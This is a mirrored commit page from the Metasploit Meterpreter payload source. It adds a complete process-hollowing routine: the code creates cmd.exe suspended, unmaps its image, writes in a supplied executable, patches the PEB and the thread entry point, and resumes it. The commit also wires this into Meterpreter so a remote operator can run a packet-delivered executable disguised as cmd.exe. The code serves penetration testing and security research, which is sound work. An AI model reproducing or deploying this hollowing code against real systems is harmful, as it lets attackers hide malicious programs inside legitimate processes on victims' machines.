mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-03-24 18:16:24 +01:00
hopefully support for in process exe without clobbering anything with the merge
git-svn-id: file:///home/svn/incoming/trunk@2805 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
parent
bf8df89e7e
commit
da416536de
c/meterpreter/source/extensions/stdapi/server/sys/process
402
c/meterpreter/source/extensions/stdapi/server/sys/process/in-mem-exe.c
Executable file
402
c/meterpreter/source/extensions/stdapi/server/sys/process/in-mem-exe.c
Executable file
@ -0,0 +1,402 @@
|
|||||||
|
/*
|
||||||
|
* Prototype for in-memory executable execution.
|
||||||
|
*
|
||||||
|
* Improvements that need to be made:
|
||||||
|
*
|
||||||
|
* - Support passing arguments to the executable
|
||||||
|
* - General testing with various executables
|
||||||
|
*
|
||||||
|
* skape
|
||||||
|
* mmiller@hick.org
|
||||||
|
* 05/09/2005
|
||||||
|
*/
|
||||||
|
#include "precomp.h"
|
||||||
|
|
||||||
|
#define DUMMY_PROCESS "cmd.exe"
|
||||||
|
|
||||||
|
typedef ULONG NTSTATUS;
|
||||||
|
typedef enum _PROCESSINFOCLASS
|
||||||
|
{
|
||||||
|
ProcessBasicInformation = 0,
|
||||||
|
} PROCESSINFOCLASS;
|
||||||
|
|
||||||
|
typedef struct _MINI_PEB
|
||||||
|
{
|
||||||
|
ULONG Flags;
|
||||||
|
LPVOID Mutant;
|
||||||
|
LPVOID ImageBaseAddress;
|
||||||
|
} MINI_PEB, *PMINI_PEB;
|
||||||
|
|
||||||
|
typedef struct _PROCESS_BASIC_INFORMATION
|
||||||
|
{
|
||||||
|
NTSTATUS ExitStatus;
|
||||||
|
PMINI_PEB PebBaseAddress;
|
||||||
|
ULONG AffinityMask;
|
||||||
|
ULONG BasePriority;
|
||||||
|
HANDLE UniqueProcessId;
|
||||||
|
HANDLE InheritedFromUniqueProcessId;
|
||||||
|
} PROCESS_BASIC_INFORMATION;
|
||||||
|
|
||||||
|
LPVOID MapNewExecutableRaw(
|
||||||
|
IN LPCSTR ExecutableFilePath);
|
||||||
|
BOOL MapNewExecutableRegionInProcess(
|
||||||
|
IN HANDLE TargetProcessHandle,
|
||||||
|
IN HANDLE TargetThreadHandle,
|
||||||
|
IN LPVOID NewExecutableRawImage);
|
||||||
|
|
||||||
|
int main(
|
||||||
|
IN int argc,
|
||||||
|
IN char **argv)
|
||||||
|
{
|
||||||
|
PROCESS_INFORMATION ProcessInformation;
|
||||||
|
STARTUPINFO StartupInformation;
|
||||||
|
LPVOID NewExecutableRawImage = NULL;
|
||||||
|
|
||||||
|
//
|
||||||
|
// If we lived without initialization we'd be a conglomerate of chaos and
|
||||||
|
// unpredictability...
|
||||||
|
//
|
||||||
|
ZeroMemory(
|
||||||
|
&StartupInformation,
|
||||||
|
sizeof(StartupInformation));
|
||||||
|
ZeroMemory(
|
||||||
|
&ProcessInformation,
|
||||||
|
sizeof(ProcessInformation));
|
||||||
|
|
||||||
|
StartupInformation.cb = sizeof(StartupInformation);
|
||||||
|
|
||||||
|
do
|
||||||
|
{
|
||||||
|
//
|
||||||
|
// Yeah...
|
||||||
|
//
|
||||||
|
if (argc == 1)
|
||||||
|
{
|
||||||
|
fprintf(stderr, "Usage: %s [executable]\n",
|
||||||
|
argv[0]);
|
||||||
|
|
||||||
|
SetLastError(
|
||||||
|
ERROR_INVALID_PARAMETER);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
//
|
||||||
|
// Map in the raw contents of the executable
|
||||||
|
//
|
||||||
|
if (!(NewExecutableRawImage = MapNewExecutableRaw(
|
||||||
|
argv[1])))
|
||||||
|
{
|
||||||
|
fprintf(stderr, "MapNewExecutableRaw failed, %lu.\n",
|
||||||
|
GetLastError());
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
//
|
||||||
|
// Run it...
|
||||||
|
//
|
||||||
|
if (!CreateProcess(
|
||||||
|
NULL,
|
||||||
|
DUMMY_PROCESS,
|
||||||
|
NULL,
|
||||||
|
NULL,
|
||||||
|
FALSE,
|
||||||
|
CREATE_SUSPENDED,
|
||||||
|
NULL,
|
||||||
|
NULL,
|
||||||
|
&StartupInformation,
|
||||||
|
&ProcessInformation))
|
||||||
|
{
|
||||||
|
fprintf(stderr, "CreateProcess(\"%s\") failed, %lu.\n",
|
||||||
|
DUMMY_PROCESS,
|
||||||
|
GetLastError());
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
//
|
||||||
|
// Unmap the dummy executable and map in the new executable into the
|
||||||
|
// target process
|
||||||
|
//
|
||||||
|
if (!MapNewExecutableRegionInProcess(
|
||||||
|
ProcessInformation.hProcess,
|
||||||
|
ProcessInformation.hThread,
|
||||||
|
NewExecutableRawImage))
|
||||||
|
{
|
||||||
|
fprintf(stderr, "MapNewExecutableRegionInProcess failed, %lu.\n",
|
||||||
|
GetLastError());
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
//
|
||||||
|
// Resume the thread and let it rock...
|
||||||
|
//
|
||||||
|
if (ResumeThread(
|
||||||
|
ProcessInformation.hThread) == (DWORD)-1)
|
||||||
|
{
|
||||||
|
fprintf(stderr, "ResumeThread failed, %lu.\n",
|
||||||
|
GetLastError());
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
} while (0);
|
||||||
|
|
||||||
|
//
|
||||||
|
// Cleanup
|
||||||
|
//
|
||||||
|
if (ProcessInformation.hProcess)
|
||||||
|
CloseHandle(
|
||||||
|
ProcessInformation.hProcess);
|
||||||
|
if (ProcessInformation.hThread)
|
||||||
|
CloseHandle(
|
||||||
|
ProcessInformation.hThread);
|
||||||
|
|
||||||
|
return GetLastError();
|
||||||
|
}
|
||||||
|
|
||||||
|
//
|
||||||
|
// Maps the raw contents of the supplied executable image file into the current
|
||||||
|
// process and returns the address at which the image is mapped.
|
||||||
|
//
|
||||||
|
LPVOID MapNewExecutableRaw(
|
||||||
|
IN LPCSTR ExecutableFilePath)
|
||||||
|
{
|
||||||
|
HANDLE FileHandle = NULL;
|
||||||
|
HANDLE FileMappingHandle = NULL;
|
||||||
|
LPVOID NewExecutableRawImage = NULL;
|
||||||
|
|
||||||
|
do
|
||||||
|
{
|
||||||
|
if ((FileHandle = CreateFile(
|
||||||
|
ExecutableFilePath,
|
||||||
|
GENERIC_READ,
|
||||||
|
FILE_SHARE_READ,
|
||||||
|
NULL,
|
||||||
|
OPEN_EXISTING,
|
||||||
|
FILE_FLAG_RANDOM_ACCESS,
|
||||||
|
NULL)) == INVALID_HANDLE_VALUE)
|
||||||
|
{
|
||||||
|
fprintf(stderr, "CreateFile failed, %lu.\n",
|
||||||
|
GetLastError());
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!(FileMappingHandle = CreateFileMapping(
|
||||||
|
FileHandle,
|
||||||
|
NULL,
|
||||||
|
PAGE_READONLY,
|
||||||
|
0,
|
||||||
|
0,
|
||||||
|
NULL)))
|
||||||
|
{
|
||||||
|
fprintf(stderr, "CreateFileMapping failed, %lu.\n",
|
||||||
|
GetLastError());
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!(NewExecutableRawImage = MapViewOfFile(
|
||||||
|
FileMappingHandle,
|
||||||
|
FILE_MAP_READ,
|
||||||
|
0,
|
||||||
|
0,
|
||||||
|
0)))
|
||||||
|
{
|
||||||
|
fprintf(stderr, "MapViewOfFile failed, %lu.\n",
|
||||||
|
GetLastError());
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
} while (0);
|
||||||
|
|
||||||
|
if (FileMappingHandle)
|
||||||
|
CloseHandle(
|
||||||
|
FileMappingHandle);
|
||||||
|
if (FileHandle)
|
||||||
|
CloseHandle(
|
||||||
|
FileHandle);
|
||||||
|
|
||||||
|
return NewExecutableRawImage;
|
||||||
|
}
|
||||||
|
|
||||||
|
//
|
||||||
|
// Maps the contents of the executable image into the new process and unmaps
|
||||||
|
// the original executable. All necessary fixups are performed to allow the
|
||||||
|
// transfer of execution control the new executable in a seamless fashion.
|
||||||
|
//
|
||||||
|
BOOL MapNewExecutableRegionInProcess(
|
||||||
|
IN HANDLE TargetProcessHandle,
|
||||||
|
IN HANDLE TargetThreadHandle,
|
||||||
|
IN LPVOID NewExecutableRawImage)
|
||||||
|
{
|
||||||
|
PROCESS_BASIC_INFORMATION BasicInformation;
|
||||||
|
PIMAGE_SECTION_HEADER SectionHeader;
|
||||||
|
PIMAGE_DOS_HEADER DosHeader;
|
||||||
|
PIMAGE_NT_HEADERS NtHeader;
|
||||||
|
PMINI_PEB ProcessPeb;
|
||||||
|
NTSTATUS (NTAPI *NtUnmapViewOfSection)(HANDLE, LPVOID) = NULL;
|
||||||
|
NTSTATUS (NTAPI *NtQueryInformationProcess)(HANDLE, PROCESSINFOCLASS, LPVOID, ULONG, PULONG) = NULL;
|
||||||
|
NTSTATUS Status;
|
||||||
|
CONTEXT ThreadContext;
|
||||||
|
LPVOID OldEntryPoint = NULL;
|
||||||
|
LPVOID TargetImageBase = NULL;
|
||||||
|
LPVOID AddressOfExecutableLdrModule;
|
||||||
|
ULONG SectionIndex = 0;
|
||||||
|
ULONG SizeOfBasicInformation;
|
||||||
|
BOOL Success = FALSE;
|
||||||
|
|
||||||
|
//
|
||||||
|
// Error checking? Bah.
|
||||||
|
//
|
||||||
|
DosHeader = (PIMAGE_DOS_HEADER)NewExecutableRawImage;
|
||||||
|
NtHeader = (PIMAGE_NT_HEADERS)((PCHAR)NewExecutableRawImage + DosHeader->e_lfanew);
|
||||||
|
|
||||||
|
do
|
||||||
|
{
|
||||||
|
//
|
||||||
|
// Get the old entry point address by inspecting eax of the current
|
||||||
|
// thread (which should be BaseProcessStart). Eax holds the address
|
||||||
|
// of the entry point for the executable when the process is created
|
||||||
|
// suspended.
|
||||||
|
//
|
||||||
|
ZeroMemory(
|
||||||
|
&ThreadContext,
|
||||||
|
sizeof(ThreadContext));
|
||||||
|
|
||||||
|
ThreadContext.ContextFlags = CONTEXT_INTEGER;
|
||||||
|
|
||||||
|
if (!GetThreadContext(
|
||||||
|
TargetThreadHandle,
|
||||||
|
&ThreadContext))
|
||||||
|
{
|
||||||
|
fprintf(stderr, "GetThreadContext failed, %lu.\n",
|
||||||
|
GetLastError());
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
OldEntryPoint = (LPVOID)ThreadContext.Eax;
|
||||||
|
|
||||||
|
//
|
||||||
|
// Unmap the old executable region in the child process to avoid
|
||||||
|
// conflicts
|
||||||
|
//
|
||||||
|
NtUnmapViewOfSection = (NTSTATUS (NTAPI *)(HANDLE, LPVOID))GetProcAddress(
|
||||||
|
GetModuleHandle(
|
||||||
|
TEXT("NTDLL")),
|
||||||
|
"NtUnmapViewOfSection");
|
||||||
|
|
||||||
|
if ((Status = NtUnmapViewOfSection(
|
||||||
|
TargetProcessHandle,
|
||||||
|
OldEntryPoint)) != ERROR_SUCCESS)
|
||||||
|
{
|
||||||
|
fprintf(stderr, "NtUnmapViewOfSection failed, %.8x.\n",
|
||||||
|
Status);
|
||||||
|
|
||||||
|
SetLastError(ERROR_INVALID_ADDRESS);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
//
|
||||||
|
// Change the entry point address to the new executable's entry point
|
||||||
|
//
|
||||||
|
ThreadContext.Eax = NtHeader->OptionalHeader.AddressOfEntryPoint +
|
||||||
|
NtHeader->OptionalHeader.ImageBase;
|
||||||
|
|
||||||
|
if (!SetThreadContext(
|
||||||
|
TargetThreadHandle,
|
||||||
|
&ThreadContext))
|
||||||
|
{
|
||||||
|
fprintf(stderr, "SetThreadContext failed, %lu.\n",
|
||||||
|
GetLastError());
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
//
|
||||||
|
// Allocate storage for the new executable in the child process
|
||||||
|
//
|
||||||
|
if (!(TargetImageBase = VirtualAllocEx(
|
||||||
|
TargetProcessHandle,
|
||||||
|
(LPVOID)NtHeader->OptionalHeader.ImageBase,
|
||||||
|
NtHeader->OptionalHeader.SizeOfImage,
|
||||||
|
MEM_COMMIT | MEM_RESERVE,
|
||||||
|
PAGE_EXECUTE_READWRITE)))
|
||||||
|
{
|
||||||
|
fprintf(stderr, "VirtualAllocEx failed, %lu.\n",
|
||||||
|
GetLastError());
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
//
|
||||||
|
// Update the executable's image base address in the PEB...
|
||||||
|
//
|
||||||
|
NtQueryInformationProcess = (NTSTATUS (NTAPI *)(HANDLE, PROCESSINFOCLASS, LPVOID, ULONG, PULONG))GetProcAddress(
|
||||||
|
GetModuleHandle(
|
||||||
|
TEXT("NTDLL")),
|
||||||
|
"NtQueryInformationProcess");
|
||||||
|
|
||||||
|
if (NtQueryInformationProcess(
|
||||||
|
TargetProcessHandle,
|
||||||
|
ProcessBasicInformation,
|
||||||
|
&BasicInformation,
|
||||||
|
sizeof(BasicInformation),
|
||||||
|
&SizeOfBasicInformation) != ERROR_SUCCESS)
|
||||||
|
{
|
||||||
|
fprintf(stderr, "NtQueryInformationProcess failed, %lu.\n",
|
||||||
|
GetLastError());
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
ProcessPeb = BasicInformation.PebBaseAddress;
|
||||||
|
|
||||||
|
if (!WriteProcessMemory(
|
||||||
|
TargetProcessHandle,
|
||||||
|
(LPVOID)&ProcessPeb->ImageBaseAddress,
|
||||||
|
(LPVOID)&NtHeader->OptionalHeader.ImageBase,
|
||||||
|
sizeof(LPVOID),
|
||||||
|
NULL))
|
||||||
|
{
|
||||||
|
fprintf(stderr, "WriteProcessMemory(ImageBaseAddress) failed, %lu.\n",
|
||||||
|
GetLastError());
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
//
|
||||||
|
// Copy the image headers and all of the section contents
|
||||||
|
//
|
||||||
|
if (!WriteProcessMemory(
|
||||||
|
TargetProcessHandle,
|
||||||
|
TargetImageBase,
|
||||||
|
NewExecutableRawImage,
|
||||||
|
NtHeader->OptionalHeader.SizeOfHeaders,
|
||||||
|
NULL))
|
||||||
|
{
|
||||||
|
fprintf(stderr, "WriteProcessMemory(Headers) failed, %lu.\n",
|
||||||
|
GetLastError());
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
Success = TRUE;
|
||||||
|
|
||||||
|
for (SectionIndex = 0,
|
||||||
|
SectionHeader = IMAGE_FIRST_SECTION(NtHeader);
|
||||||
|
SectionIndex < NtHeader->FileHeader.NumberOfSections;
|
||||||
|
SectionIndex++)
|
||||||
|
{
|
||||||
|
if (!WriteProcessMemory(
|
||||||
|
TargetProcessHandle,
|
||||||
|
(LPVOID)((PCHAR)TargetImageBase +
|
||||||
|
SectionHeader[SectionIndex].VirtualAddress),
|
||||||
|
(LPVOID)((PCHAR)NewExecutableRawImage +
|
||||||
|
SectionHeader[SectionIndex].PointerToRawData),
|
||||||
|
SectionHeader[SectionIndex].SizeOfRawData,
|
||||||
|
NULL))
|
||||||
|
{
|
||||||
|
fprintf(stderr, "WriteProcessMemory(Section) failed, %lu.\n",
|
||||||
|
GetLastError());
|
||||||
|
|
||||||
|
Success = FALSE;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
} while (0);
|
||||||
|
|
||||||
|
return Success;
|
||||||
|
}
|
30
c/meterpreter/source/extensions/stdapi/server/sys/process/in-mem-exe.h
Executable file
30
c/meterpreter/source/extensions/stdapi/server/sys/process/in-mem-exe.h
Executable file
@ -0,0 +1,30 @@
|
|||||||
|
/*
|
||||||
|
* Prototype for in-memory executable execution.
|
||||||
|
*
|
||||||
|
* Improvements that need to be made:
|
||||||
|
*
|
||||||
|
* - Support passing arguments to the executable
|
||||||
|
* - General testing with various executables
|
||||||
|
*
|
||||||
|
* skape
|
||||||
|
* mmiller@hick.org
|
||||||
|
* 05/09/2005
|
||||||
|
*/
|
||||||
|
|
||||||
|
|
||||||
|
//
|
||||||
|
// Maps the raw contents of the supplied executable image file into the current
|
||||||
|
// process and returns the address at which the image is mapped.
|
||||||
|
//
|
||||||
|
LPVOID MapNewExecutableRaw(
|
||||||
|
IN LPCSTR ExecutableFilePath);
|
||||||
|
|
||||||
|
//
|
||||||
|
// Maps the contents of the executable image into the new process and unmaps
|
||||||
|
// the original executable. All necessary fixups are performed to allow the
|
||||||
|
// transfer of execution control the new executable in a seamless fashion.
|
||||||
|
//
|
||||||
|
BOOL MapNewExecutableRegionInProcess(
|
||||||
|
IN HANDLE TargetProcessHandle,
|
||||||
|
IN HANDLE TargetThreadHandle,
|
||||||
|
IN LPVOID NewExecutableRawImage);
|
@ -1,5 +1,7 @@
|
|||||||
#include "precomp.h"
|
#include "precomp.h"
|
||||||
|
|
||||||
|
#include "in-mem-exe.h" /* include skapetastic in-mem exe exec */
|
||||||
|
|
||||||
/*
|
/*
|
||||||
* Attaches to the supplied process identifier. If no process identifier is
|
* Attaches to the supplied process identifier. If no process identifier is
|
||||||
* supplied, the handle for the current process is returned to the requestor.
|
* supplied, the handle for the current process is returned to the requestor.
|
||||||
@ -87,6 +89,8 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
|
|||||||
PCHAR path, arguments, commandLine = NULL;
|
PCHAR path, arguments, commandLine = NULL;
|
||||||
DWORD flags = 0, createFlags = 0;
|
DWORD flags = 0, createFlags = 0;
|
||||||
BOOL inherit = FALSE;
|
BOOL inherit = FALSE;
|
||||||
|
Tlv inMemoryData;
|
||||||
|
BOOL doInMemory = FALSE;
|
||||||
|
|
||||||
// Initialize the startup information
|
// Initialize the startup information
|
||||||
memset(&si, 0, sizeof(si));
|
memset(&si, 0, sizeof(si));
|
||||||
@ -111,6 +115,14 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
|
|||||||
flags = packet_get_tlv_value_uint(packet,
|
flags = packet_get_tlv_value_uint(packet,
|
||||||
TLV_TYPE_PROCESS_FLAGS);
|
TLV_TYPE_PROCESS_FLAGS);
|
||||||
|
|
||||||
|
if (packet_get_tlv(packet, TLV_TYPE_VALUE_DATA,
|
||||||
|
&inMemoryData) == ERROR_SUCCESS)
|
||||||
|
{
|
||||||
|
doInMemory = TRUE;
|
||||||
|
flags |= CREATE_SUSPENDED;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
// If the remote endpoint provided arguments, combine them with the
|
// If the remote endpoint provided arguments, combine them with the
|
||||||
// executable to produce a command line
|
// executable to produce a command line
|
||||||
if (path && arguments)
|
if (path && arguments)
|
||||||
@ -221,19 +233,46 @@ DWORD request_sys_process_execute(Remote *remote, Packet *packet)
|
|||||||
result = GetLastError();
|
result = GetLastError();
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
else
|
|
||||||
{
|
|
||||||
// Add the process identifier to the response packet
|
|
||||||
packet_add_tlv_uint(response, TLV_TYPE_PID,
|
|
||||||
pi.dwProcessId);
|
|
||||||
packet_add_tlv_uint(response, TLV_TYPE_PROCESS_HANDLE,
|
|
||||||
(DWORD)pi.hProcess);
|
|
||||||
|
|
||||||
CloseHandle(pi.hThread);
|
//
|
||||||
|
// Do up the in memory exe execution if the user requested it
|
||||||
|
//
|
||||||
|
if (doInMemory) {
|
||||||
|
|
||||||
|
//
|
||||||
|
// Unmap the dummy executable and map in the new executable into the
|
||||||
|
// target process
|
||||||
|
//
|
||||||
|
if (!MapNewExecutableRegionInProcess(
|
||||||
|
pi.hProcess,
|
||||||
|
pi.hThread,
|
||||||
|
inMemoryData.buffer))
|
||||||
|
{
|
||||||
|
result = GetLastError();
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
//
|
||||||
|
// Resume the thread and let it rock...
|
||||||
|
//
|
||||||
|
if (ResumeThread(pi.hThread) == (DWORD)-1)
|
||||||
|
{
|
||||||
|
result = GetLastError();
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
result = ERROR_SUCCESS;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Add the process identifier to the response packet
|
||||||
|
packet_add_tlv_uint(response, TLV_TYPE_PID,
|
||||||
|
pi.dwProcessId);
|
||||||
|
packet_add_tlv_uint(response, TLV_TYPE_PROCESS_HANDLE,
|
||||||
|
(DWORD)pi.hProcess);
|
||||||
|
|
||||||
|
CloseHandle(pi.hThread);
|
||||||
|
|
||||||
|
result = ERROR_SUCCESS;
|
||||||
|
|
||||||
} while (0);
|
} while (0);
|
||||||
|
|
||||||
// Close the read side of stdin and the write side of stdout
|
// Close the read side of stdin and the write side of stdout
|
||||||
@ -615,3 +654,43 @@ DWORD process_channel_interact(Channel *channel, Packet *request,
|
|||||||
|
|
||||||
return result;
|
return result;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* The routine to send a notify request (responseless request) that
|
||||||
|
* the wait has finished...
|
||||||
|
*/
|
||||||
|
DWORD process_wait_notify(Remote * remote, HANDLE handle)
|
||||||
|
{
|
||||||
|
|
||||||
|
Packet * request = packet_create(PACKET_TLV_TYPE_REQUEST, "process_wait_notify");
|
||||||
|
|
||||||
|
packet_add_tlv_uint(request, TLV_TYPE_HANDLE, (DWORD)handle);
|
||||||
|
|
||||||
|
packet_transmit(remote, request, NULL);
|
||||||
|
|
||||||
|
return ERROR_SUCCESS;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Wait on a process handle until it terminates
|
||||||
|
*
|
||||||
|
* req: TLV_TYPE_HANDLE - The process handle to close.
|
||||||
|
*/
|
||||||
|
DWORD request_sys_process_wait(Remote *remote, Packet *packet)
|
||||||
|
{
|
||||||
|
Packet *response = packet_create_response(packet);
|
||||||
|
HANDLE handle;
|
||||||
|
DWORD result;
|
||||||
|
|
||||||
|
handle = (HANDLE)packet_get_tlv_value_uint(packet, TLV_TYPE_HANDLE);
|
||||||
|
|
||||||
|
result = scheduler_insert_waitable(
|
||||||
|
handle,
|
||||||
|
(LPVOID)handle,
|
||||||
|
(WaitableNotifyRoutine)process_wait_notify
|
||||||
|
);
|
||||||
|
|
||||||
|
packet_transmit_response(result, remote, response);
|
||||||
|
|
||||||
|
return ERROR_SUCCESS;
|
||||||
|
}
|
||||||
|
@ -63,4 +63,10 @@ DWORD request_sys_process_thread_set_regs(Remote *remote, Packet *packet);
|
|||||||
DWORD execute_code_stub_in_process(HANDLE process, PVOID buffer, ULONG length,
|
DWORD execute_code_stub_in_process(HANDLE process, PVOID buffer, ULONG length,
|
||||||
LPVOID parameter, DWORD parameterLength, LPDWORD result);
|
LPVOID parameter, DWORD parameterLength, LPDWORD result);
|
||||||
|
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Wait methods
|
||||||
|
*/
|
||||||
|
DWORD process_wait_notify(Remote * remote, HANDLE handle);
|
||||||
|
DWORD request_sys_process_wait(Remote *remote, Packet *packet);
|
||||||
#endif
|
#endif
|
||||||
|
Loading…
x
Reference in New Issue
Block a user